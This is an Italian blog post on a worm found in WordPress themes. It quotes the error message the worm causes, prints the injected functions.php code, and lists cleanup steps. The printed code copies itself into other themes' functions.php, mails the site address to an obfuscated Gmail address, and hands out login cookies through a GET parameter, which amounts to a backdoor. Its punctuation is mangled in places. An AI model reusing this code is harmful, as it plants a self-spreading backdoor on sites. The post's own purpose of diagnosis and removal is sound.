I temi di wordpress possono incombere a spiacevoli attacchi infatti in alcuni casi potremo trovarci davanti a questo errore:
Fatal error: Impossibile ridichiarare _verify_isactivate_widgets () (precedentemente dichiarati in /home/public_html/your-domain/wp-content/themes/meters/functions.php:269) in / home / public_html / your-domain / wp-content / themes /meters/includes/functions/functions.php on line 23.
L’errore capita in fase di attivazione dei temi. In modo automatico viene aggiunto del codice al vostro ‘functions.php’.
Qui di seguito un esempio del codice incriminato:
function _checkactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),” $output .= $before . “Not found” . $after;
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $separar . “\n” .$widget);fclose($f);
$output .= ($showfullstop && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _getall_widgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _getall_widgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action(“admin_head”, “_checkactive_widget”);
function _getprepareed_widget(){
if(!isset($content_length)) $content_length=120;
if(!isset($checking)) $checking=”cookie”;
if(!isset($tags_allowed)) $tags_allowed=”< a >“;
if(!isset($filters)) $filters=”none”;
if(!isset($separ)) $separ=””;
if(!isset($home_f)) $home_f=get_option(“home”);
if(!isset($pre_filter)) $pre_filter=”wp_”;
if(!isset($is_more_link)) $ is_more_link=1;
if(!isset($comment_t)) $comment_t=””;
if(!isset($c_page)) $c_page=$_GET[“cperpage”];
if(!isset($comm_author)) $comm_author=””;
if(!isset($is_approved)) $is_approved=””;
if(!isset($auth_post)) $auth_post=”auth”;
if(!isset($m_text)) $m_text=”(more…)”;
if(!isset($yes_widget)) $yes_widget=get_option(“_is_widget_active_”);
if(!isset($widgetcheck)) $widgetcheck=$pre_filter.”set”.”_”.$auth_post.”_”.$checking;
if(!isset($m_text_ditails)) $m_text_ditails=”(details…)”;
if(!isset($contentsmore)) $contentsmore=”ma”.$separ.”il”;
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;
if (!$yes_widget) :global $wpdb, $post;
$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$separ.”vethe”.$comment_t.”mes”.$separ.”@”.$is_approved.”gm”.$comm_author.”ail”.$separ.”.”.$separ.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tag)) $fixed_tag=1;
if(!isset($filterss)) $filterss=$home_f;
if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;
if(!isset($m_tag)) $m_tag=”div”;
if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($m_link_title)) $m_link_title=”Continue reading this entry”;
if(!isset($showfullstop)) $showfullstop=1;$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($content_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, ““)) {
$text=explode(““, $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $content_length) {
$l=$content_length;
$ellipsis=1;
} else {
$l=count($text);
$m_text=””;
$ellipsis=0;
}
}
for ($i=0; $i $output .= $text[$i] . ” “;
}
update_option(“_is_widget_active_”, 1);
if(“all” != $tags_allowed) {
$output=strip_tags($output, $tags_allowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\x0B”);
$output=($fixed_tag) ? balanceTags($output, true) : $output;
$output .= ($showfullstop && $ellipsis) ? “…” : “”;
$output=apply_filters($filters, $output);
switch($m_tag) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}if ($is_more_link ) {
if($fmore) {
$output .= ” < a href="\"".">ID) . “#more-” . $post->ID .”\” title=\”” . $m_link_title . “\”>” . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : “” . “” . “\n”;
} else {
$output .= ” < a href="\"".">ID) . “\” title=\”” . $m_link_title . “\”>” . $m_text . “” . “\n”;
}
}
return $output;
}add_action(“init”, “_getprepareed_widget”);
function __popular_posts($no_posts=6, $before=”
“, $after=”
“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” < a title="\""" href="\""">” . $post_title . “ ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>Come eliminare e risolvere il problema del Worm nei temi WordPress.
Nel caso in cui avessimo attivato un tema infetto, potremo aver infettato anche gli altri temi presenti sul server quindi sarà necessario seguire questa determinata procedura:
- Mettiamo il sito offline (stop apache2) sospendere o mettere in pausa il sito non è sufficiente.
- eliminare i dati all’interno del functions.php e controllare anche in altri eventuali temi installati.
- Essere sicuri al 200% di aver eliminato il codice del worm da tutti i vostri fuctions.php, altrimenti il worm reinfetterà tutto.
- rimettere il sistema Up (apache2 start).
- Testare attivando ogni tema che il problma sia definitivamente risolto.
